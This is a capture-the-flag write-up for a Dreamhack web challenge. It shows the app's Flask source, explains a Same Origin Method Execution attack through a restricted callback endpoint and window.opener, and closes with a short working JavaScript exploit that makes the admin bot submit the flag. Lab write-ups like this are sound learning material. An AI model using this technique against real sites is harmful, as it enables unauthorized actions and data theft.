SentenceNet
Level 8 web exploitation challenge on Dreamhack.io
The Challenge
https://dreamhack.io/wargame/challenges/2284
I actually learned a lot from this challenge
The code is pretty straightforward. We have a /post endpoint which autofills the flag for us if we’re accessing it locally.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from flask import Flask, request, render_template, redirect, url_for, abort, request, jsonify
import os
import re
import requests
import ipaddress
import subprocess
app = Flask(__name__)
app.secret_key = os.urandom(64)
info_value = ''
@app.route('/')
def index():
return redirect(url_for('info'))
@app.route('/post', methods=['GET', 'POST'])
def post():
if request.method == 'POST':
global info_value
info_value = request.form.get('info_value', '')
return redirect(url_for('info'))
ip_address = request.remote_addr
ip_obj = ipaddress.ip_address(ip_address)
if ip_obj.is_private or ip_obj.is_loopback:
FLAG = open('/flag', 'r').read()
value = FLAG
else:
value = ''
return render_template('post.html', value=value)
@app.route('/info', methods=['GET'])
def info():
global info_value
return render_template('info.html', info_value=info_value)
@app.route('/callback', methods=['GET'])
def callback():
ip_address = request.remote_addr
ip_obj = ipaddress.ip_address(ip_address)
if not (ip_obj.is_private or ip_obj.is_loopback):
abort(403, 'Access denied')
callback_fn = request.args.get('callback', 'console.log')
if not re.fullmatch(r'[A-Za-z0-9.]+', callback_fn):
abort(400, 'Invalid callback parameter')
global info_value
return render_template('callback.html', callback_fn=callback_fn, info_value=info_value)
@app.route('/report', methods=['GET', 'POST'])
def report():
if request.method == 'POST':
report_url = request.form.get('report_url', '')
resp = requests.post('http://user:31337/visit', json={'url': report_url})
if resp.ok:
return render_template('report.html', submitted=True)
return render_template('report.html', submitted=False)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8001)
We also have an interesting private endpoint at /callback, which allows us to execute any Javascript function we want, but with great restrictions.
The vulnerability here is known as Same Origin Method Execution (SOME).
I couldn’t get the curly braces to render in markdown lol
I tried to find a Javascript function that could give me arbitrary code execution.
This wasn’t possible given the fact that the function argument is in the format of { info: }, forcing the function argument to be an object. Things like eval or exec won’t work in this context. We also can’t break out of the string thanks to | tojson.
I had a stroke of genius while playing around with the opener property. This variable is accessible through the window created from window.open.
- Window 1 invokes
window.opento open window 2 - Window 2 can now access window 1 through
window.open, given that both windows are on the same origin
window.open can be used for our solution as the admin bot can visit any arbitrary URL we give it, and popups are allowed on the admin bot browser
The exploitation steps are:
- Host my own endpoint
- The page (window 1) uses
window.opento open/callbackwith the callback function likeopener.document.(some traversal).clickon window 2 - Window 1 sets
locationto/post, and the flag is automatically added to the input field - Window 2 now clicks the submit button on window 1 to publish the flag
I used a chrome extension to get the traversal from opener.document to the submit button.
The final exploit was:
1
2
3
4
<script>
window.open("http://home:8001/callback?callback=opener.document.body.firstElementChild.nextElementSibling.firstElementChild.nextElementSibling.nextElementSibling.firstElementChild.nextElementSibling.firstElementChild.click");
location="http://home:8001/post";
</script>


